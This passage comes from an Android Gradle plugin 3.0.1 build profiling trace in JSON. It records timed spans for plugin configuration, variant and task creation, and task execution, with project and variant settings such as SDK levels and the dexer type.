0\n}\n"}},{"pid":1,"tid":9,"id":2,"name":"base plugin project configure","args":{"span_id":"2","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994430000,"dur":1000},{"pid":1,"tid":9,"id":3,"name":"base plugin project base extension creation","args":{"span_id":"3","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994431000,"dur":2000},{"pid":1,"tid":9,"id":5,"name":"task manager create tasks","args":{"span_id":"5","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994433000,"dur":1000},{"pid":1,"tid":9,"id":4,"name":"base plugin project tasks creation","args":{"span_id":"4","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994433000,"dur":1000},{"pid":1,"tid":9,"id":8,"name":"variant manager create variants","args":{"span_id":"8","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994469000,"dur":2000},{"pid":1,"tid":9,"id":9,"name":"variant manager create tests tasks","args":{"span_id":"9","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994471000,"dur":1000},{"pid":1,"tid":9,"id":11,"name":"app task manager create merge manifest task","args":{"span_id":"11","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994472000,"dur":1000},{"pid":1,"tid":9,"id":12,"name":"app task manager create generate res values task","args":{"span_id":"12","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994473000,"dur":100},{"pid":1,"tid":9,"id":13,"name":"app task manager create create renderscript task","args":{"span_id":"13","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994473000,"dur":100},{"pid":1,"tid":9,"id":14,"name":"app task manager create merge resources task","args":{"span_id":"14","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994473000,"dur":1000},{"pid":1,"tid":9,"id":15,"name":"app task manager create merge assets task","args":{"span_id":"15","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994474000,"dur":100},{"pid":1,"tid":9,"id":16,"name":"app task manager create build config task","args":{"span_id":"16","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994474000,"dur":100},{"pid":1,"tid":9,"id":17,"name":"app task manager create process res task","args":{"span_id":"17","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994474000,"dur":1000},{"pid":1,"tid":9,"id":18,"name":"app task manager create aidl task","args":{"span_id":"18","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994475000,"dur":100},{"pid":1,"tid":9,"id":19,"name":"app task manager create shader task","args":{"span_id":"19","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994475000,"dur":100},{"pid":1,"tid":9,"id":20,"name":"app task manager create ndk task","args":{"span_id":"20","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994475000,"dur":1000},{"pid":1,"tid":9,"id":21,"name":"app task manager create external native build task","args":{"span_id":"21","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994476000,"dur":100},{"pid":1,"tid":9,"id":22,"name":"app task manager create merge jnilibs folders task","args":{"span_id":"22","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994476000,"dur":100},{"pid":1,"tid":9,"id":23,"name":"app task manager create compile task","args":{"span_id":"23","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994476000,"dur":2000},{"pid":1,"tid":9,"id":24,"name":"app task manager create packaging task","args":{"span_id":"24","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994478000,"dur":1000},{"pid":1,"tid":9,"id":25,"name":"app task manager create lint task","args":{"span_id":"25","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994479000,"dur":100},{"pid":1,"tid":9,"id":10,"name":"variant manager create tasks for variant","args":{"span_id":"10","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994472000,"dur":7000},{"pid":1,"tid":9,"id":26,"name":"variant manager create tasks for variant","args":{"span_id":"26","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994479000,"dur":2000},{"pid":1,"tid":9,"id":28,"name":"app task manager create merge manifest task","args":{"span_id":"28","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994481000,"dur":100},{"pid":1,"tid":9,"id":29,"name":"app task manager create generate res values task","args":{"span_id":"29","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994481000,"dur":100},{"pid":1,"tid":9,"id":30,"name":"app task manager create create renderscript task","args":{"span_id":"30","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994481000,"dur":100},{"pid":1,"tid":9,"id":31,"name":"app task manager create merge resources task","args":{"span_id":"31","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994481000,"dur":100},{"pid":1,"tid":9,"id":32,"name":"app task manager create merge assets task","args":{"span_id":"32","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994481000,"dur":100},{"pid":1,"tid":9,"id":33,"name":"app task manager create build config task","args":{"span_id":"33","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994481000,"dur":100},{"pid":1,"tid":9,"id":34,"name":"app task manager create process res task","args":{"span_id":"34","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994481000,"dur":1000},{"pid":1,"tid":9,"id":35,"name":"app task manager create aidl task","args":{"span_id":"35","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994482000,"dur":100},{"pid":1,"tid":9,"id":36,"name":"app task manager create shader task","args":{"span_id":"36","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994482000,"dur":100},{"pid":1,"tid":9,"id":37,"name":"app task manager create ndk task","args":{"span_id":"37","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994482000,"dur":100},{"pid":1,"tid":9,"id":38,"name":"app task manager create external native build task","args":{"span_id":"38","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994482000,"dur":100},{"pid":1,"tid":9,"id":39,"name":"app task manager create merge jnilibs folders task","args":{"span_id":"39","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994482000,"dur":100},{"pid":1,"tid":9,"id":40,"name":"app task manager create compile task","args":{"span_id":"40","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994482000,"dur":1000},{"pid":1,"tid":9,"id":41,"name":"app task manager create packaging task","args":{"span_id":"41","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994483000,"dur":100},{"pid":1,"tid":9,"id":42,"name":"app task manager create lint task","args":{"span_id":"42","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994483000,"dur":100},{"pid":1,"tid":9,"id":27,"name":"variant manager create tasks for variant","args":{"span_id":"27","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228994481000,"dur":2000},{"pid":1,"tid":9,"id":43,"name":"variant manager create tasks for variant","args":{"span_id":"43","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994483000,"dur":2000},{"pid":1,"tid":9,"id":44,"name":"variant manager create tasks for variant","args":{"span_id":"44","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994485000,"dur":3000},{"pid":1,"tid":9,"id":7,"name":"variant manager create android tasks","args":{"span_id":"7","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994469000,"dur":20000},{"pid":1,"tid":9,"id":45,"name":"variant manager external native config values","args":{"span_id":"45","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994489000,"dur":100},{"pid":1,"tid":9,"id":6,"name":"base plugin create android tasks","args":{"span_id":"6","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228994435000,"dur":54000},{"pid":1,"tid":0,"id":46,"name":"task: unknown task type","args":{"span_id":"46","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994499000,"dur":100},{"pid":1,"tid":0,"id":47,"name":"task: app pre build","args":{"span_id":"47","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 92\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994500000,"dur":17000},{"pid":1,"tid":0,"id":48,"name":"task: aidl compile","args":{"span_id":"48","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 1\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994517000,"dur":1000},{"pid":1,"tid":0,"id":49,"name":"task: renderscript compile","args":{"span_id":"49","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 54\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994519000,"dur":3000},{"pid":1,"tid":0,"id":50,"name":"task: check manifest","args":{"span_id":"50","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 8\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994523000,"dur":100},{"pid":1,"tid":0,"id":51,"name":"task: generate build config","args":{"span_id":"51","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 24\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994523000,"dur":2000},{"pid":1,"tid":0,"id":52,"name":"task: prepare lint jar","args":{"span_id":"52","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 119\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994525000,"dur":1000},{"pid":1,"tid":0,"id":53,"name":"task: generate res values","args":{"span_id":"53","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 26\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994526000,"dur":100},{"pid":1,"tid":0,"id":54,"name":"task: unknown task type","args":{"span_id":"54","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228994526000,"dur":100},{"pid":1,"tid":0,"id":55,"name":"task: merge 